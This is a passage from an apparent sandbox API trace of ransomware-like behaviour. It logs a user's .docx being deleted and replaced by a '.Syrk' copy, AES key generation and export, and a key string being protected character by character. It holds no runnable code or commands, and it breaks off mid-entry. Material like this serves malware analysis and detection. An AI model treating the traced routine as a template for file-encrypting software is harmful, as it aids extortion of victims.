[0227.215] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0227.216] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0227.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0227.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0227.216] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx")) returned 0x20 [0227.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0227.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", lpFilePart=0x0) returned 0x2d [0227.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0227.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", lpFilePart=0x0) returned 0x2d [0227.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0227.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0227.219] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", lpFilePart=0x0) returned 0x2d [0227.219] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0227.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0227.220] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0227.220] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0227.220] CoTaskMemFree (pv=0x5c9a950) [0227.222] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx")) returned 0x20 [0227.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0227.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx", lpFilePart=0x0) returned 0x2d [0227.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0227.222] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx"), fInfoLevelId=0x0, lpFileInformation=0x23915cc | out: lpFileInformation=0x23915cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d31a250, ftCreationTime.dwHighDateTime=0x1d963da, ftLastAccessTime.dwLowDateTime=0xb7808f40, ftLastAccessTime.dwHighDateTime=0x1d99631, ftLastWriteTime.dwLowDateTime=0xb7808f40, ftLastWriteTime.dwHighDateTime=0x1d99631, nFileSizeHigh=0x0, nFileSizeLow=0xb43)) returned 1 [0227.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0227.223] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx")) returned 1 [0227.227] EtwEventActivityIdControl () returned 0x0 [0227.227] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.228] EtwEventActivityIdControl () returned 0x0 [0227.228] EtwEventActivityIdControl () returned 0x0 [0227.228] EtwEventActivityIdControl () returned 0x0 [0227.279] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx.syrk")) returned 0x20 [0227.280] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx.syrk")) returned 0x20 [0227.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0227.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx.Syrk", lpFilePart=0x0) returned 0x32 [0227.280] EtwEventActivityIdControl () returned 0x0 [0227.281] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.281] EtwEventActivityIdControl () returned 0x0 [0227.281] EtwEventActivityIdControl () returned 0x0 [0227.281] EtwEventActivityIdControl () returned 0x0 [0227.287] EtwEventActivityIdControl () returned 0x0 [0227.287] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.287] EtwEventActivityIdControl () returned 0x0 [0227.287] EtwEventActivityIdControl () returned 0x0 [0227.287] EtwEventActivityIdControl () returned 0x0 [0227.291] EtwEventActivityIdControl () returned 0x0 [0227.291] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.292] EtwEventActivityIdControl () returned 0x0 [0227.292] EtwEventActivityIdControl () returned 0x0 [0227.292] EtwEventActivityIdControl () returned 0x0 [0227.297] EtwEventActivityIdControl () returned 0x0 [0227.297] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.297] EtwEventActivityIdControl () returned 0x0 [0227.297] EtwEventActivityIdControl () returned 0x0 [0227.297] EtwEventActivityIdControl () returned 0x0 [0227.301] EtwEventActivityIdControl () returned 0x0 [0227.301] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.301] EtwEventActivityIdControl () returned 0x0 [0227.301] EtwEventActivityIdControl () returned 0x0 [0227.301] EtwEventActivityIdControl () returned 0x0 [0227.305] EtwEventActivityIdControl () returned 0x0 [0227.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0227.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\A_x_tiv5stL.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\a_x_tiv5stl.docx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x239afd0 | out: lpFileInformation=0x239afd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35f5470, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x35f5470, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x3709280, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xb64)) returned 1 [0227.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0227.344] GetConsoleOutputCP () returned 0x1b5 [0227.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0227.344] GetConsoleOutputCP () returned 0x1b5 [0227.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0227.345] GetConsoleOutputCP () returned 0x1b5 [0227.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.345] GetConsoleOutputCP () returned 0x1b5 [0227.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.345] GetConsoleOutputCP () returned 0x1b5 [0227.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0227.346] GetConsoleOutputCP () returned 0x1b5 [0227.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0227.346] GetConsoleOutputCP () returned 0x1b5 [0227.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.347] GetConsoleOutputCP () returned 0x1b5 [0227.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.347] GetConsoleOutputCP () returned 0x1b5 [0227.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0227.347] GetConsoleOutputCP () returned 0x1b5 [0227.347] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0227.347] GetConsoleOutputCP () returned 0x1b5 [0227.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.348] GetConsoleOutputCP () returned 0x1b5 [0227.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.348] GetConsoleOutputCP () returned 0x1b5 [0227.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0227.348] GetConsoleOutputCP () returned 0x1b5 [0227.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0227.348] GetConsoleOutputCP () returned 0x1b5 [0227.349] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.349] GetConsoleOutputCP () returned 0x1b5 [0227.349] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.349] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0227.349] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0227.350] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23b5240*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23b5240*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0227.351] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0227.351] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0227.481] EtwEventActivityIdControl () returned 0x0 [0227.481] EtwEventActivityIdControl () returned 0x0 [0227.482] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.482] EtwEventActivityIdControl () returned 0x0 [0227.482] EtwEventActivityIdControl () returned 0x0 [0227.482] EtwEventActivityIdControl () returned 0x0 [0227.484] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.485] EtwEventActivityIdControl () returned 0x0 [0227.485] EtwEventActivityIdControl () returned 0x0 [0227.485] EtwEventActivityIdControl () returned 0x0 [0227.487] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d188) returned 1 [0227.489] CryptGenKey (in: hProv=0x5c4d188, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99720) returned 1 [0227.489] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0227.489] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0227.489] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23bce68, pdwDataLen=0x5a2e8c4 | out: pbData=0x23bce68*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0227.489] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.490] EtwEventActivityIdControl () returned 0x0 [0227.490] EtwEventActivityIdControl () returned 0x0 [0227.490] EtwEventActivityIdControl () returned 0x0 [0227.491] SysStringLen (param_1="") returned 0x8 [0227.491] SysStringLen (param_1="x") returned 0x8 [0227.491] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.491] SysStringLen (param_1="燽蝺崪烦삙窀ᾨ") returned 0x8 [0227.491] SysStringLen (param_1="燽蝺崪烦삙窀ᾨ") returned 0x8 [0227.491] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.491] SysStringLen (param_1="xl") returned 0x8 [0227.491] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.492] SysStringLen (param_1="䛙ᘩ膒쵷륉呬熔䜞") returned 0x8 [0227.492] SysStringLen (param_1="䛙ᘩ膒쵷륉呬熔䜞") returned 0x8 [0227.492] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.492] SysStringLen (param_1="xl6") returned 0x8 [0227.492] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.492] SysStringLen (param_1="汧뻛硭鼼騹뀥Ḩ") returned 0x8 [0227.492] SysStringLen (param_1="汧뻛硭鼼騹뀥Ḩ") returned 0x8 [0227.492] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.492] SysStringLen (param_1="xl6p") returned 0x8 [0227.492] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.492] SysStringLen (param_1="\濚ῧꊀⴞ鴍ᡰꤺ∦) returned 0x8 [0227.492] SysStringLen (param_1="\濚ῧꊀⴞ鴍ᡰꤺ∦) returned 0x8 [0227.492] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.493] SysStringLen (param_1="xl6pK") returned 0x8 [0227.493] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.493] SysStringLen (param_1="哗ʘ嶅ᰡㅭ呔뷼۹") returned 0x8 [0227.493] SysStringLen (param_1="哗ʘ嶅ᰡㅭ呔뷼۹") returned 0x8 [0227.493] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.493] SysStringLen (param_1="xl6pKt") returned 0x8 [0227.493] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.493] SysStringLen (param_1="赞箱篺肔ḡ㮸遏瞨") returned 0x8 [0227.493] SysStringLen (param_1="赞箱篺肔ḡ㮸遏瞨") returned 0x8 [0227.493] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.493] SysStringLen (param_1="xl6pKtw") returned 0x8 [0227.493] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.494] SysStringLen (param_1="晻헷ⵓ袶᣾钳ዴ") returned 0x8 [0227.494] SysStringLen (param_1="晻헷ⵓ袶᣾钳ዴ") returned 0x8 [0227.494] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.494] SysStringLen (param_1="xl6pKtwF") returned 0x8 [0227.494] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.494] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳") returned 0x8 [0227.494] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳") returned 0x8 [0227.494] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳") returned 0x8 [0227.495] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳") returned 0x10 [0227.495] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.495] SysStringLen (param_1="xl6pKtwFRꣿᑏ橝㨽ተ왖镈") returned 0x10 [0227.495] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.495] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳ꌩ젣鳫率\域ꑥ∆) returned 0x10 [0227.495] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳ꌩ젣鳫率\域ꑥ∆) returned 0x10 [0227.495] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.496] SysStringLen (param_1="xl6pKtwFR6ᑏ橝㨽ተ왖镈") returned 0x10 [0227.496] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.496] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳₊䱲꥾왨袲嫘뉒䮆") returned 0x10 [0227.496] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳₊䱲꥾왨袲嫘뉒䮆") returned 0x10 [0227.496] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.496] SysStringLen (param_1="xl6pKtwFR6A橝㨽ተ왖镈") returned 0x10 [0227.496] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.496] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳쇤⟉\㓘ᡉ㽇媠∵) returned 0x10 [0227.496] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳쇤⟉\㓘ᡉ㽇媠∵) returned 0x10 [0227.496] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.496] SysStringLen (param_1="xl6pKtwFR6A+㨽ተ왖镈") returned 0x10 [0227.496] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.497] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳嚧ᬗ湾堋ᱳ䈹涞䮇") returned 0x10 [0227.497] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳嚧ᬗ湾堋ᱳ䈹涞䮇") returned 0x10 [0227.497] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.497] SysStringLen (param_1="xl6pKtwFR6A+cተ왖镈") returned 0x10 [0227.497] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.497] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳ṓᴸ훔䋫퇭䐱歫") returned 0x10 [0227.497] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳ṓᴸ훔䋫퇭䐱歫") returned 0x10 [0227.497] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.497] SysStringLen (param_1="xl6pKtwFR6A+cZ왖镈") returned 0x10 [0227.497] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.497] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳힛笐ꎇ酪陇퀦\⋟) returned 0x10 [0227.497] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳힛笐ꎇ酪陇퀦\⋟) returned 0x10 [0227.497] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.498] SysStringLen (param_1="xl6pKtwFR6A+cZe镈") returned 0x10 [0227.498] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.498] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳\苜굞♢책ꧨ湿도⊗) returned 0x10 [0227.498] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳\苜굞♢책ꧨ湿도⊗) returned 0x10 [0227.498] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.498] SysStringLen (param_1="xl6pKtwFR6A+cZeW") returned 0x10 [0227.498] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.498] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉") returned 0x10 [0227.498] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉") returned 0x10 [0227.499] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉") returned 0x10 [0227.499] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉") returned 0x18 [0227.499] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.499] SysStringLen (param_1="xl6pKtwFR6A+cZeW9\㧛䞋鍀㽶馸⊦) returned 0x18 [0227.499] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.499] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉⫼览䉩㠏⤏ℭ얁") returned 0x18 [0227.499] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉⫼览䉩㠏⤏ℭ얁") returned 0x18 [0227.500] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.500] SysStringLen (param_1="xl6pKtwFR6A+cZeW9D謹䁇皓렿钙꛲") returned 0x18 [0227.500] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.500] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉ध쬩朄꾽ꪗ컫톾敯") returned 0x18 [0227.500] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉ध쬩朄꾽ꪗ컫톾敯") returned 0x18 [0227.500] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.500] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DN䁇皓렿钙꛲") returned 0x18 [0227.500] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.500] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉ﳢ鸁⁞\駝מᨋ≟) returned 0x18 [0227.500] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉ﳢ鸁⁞\駝מᨋ≟) returned 0x18 [0227.500] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.501] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNM皓렿钙꛲") returned 0x18 [0227.501] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.501] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉訇쮭巧콁ὤ\⫝≆) returned 0x18 [0227.501] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉訇쮭巧콁ὤ\⫝≆) returned 0x18 [0227.501] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.501] SysStringLen 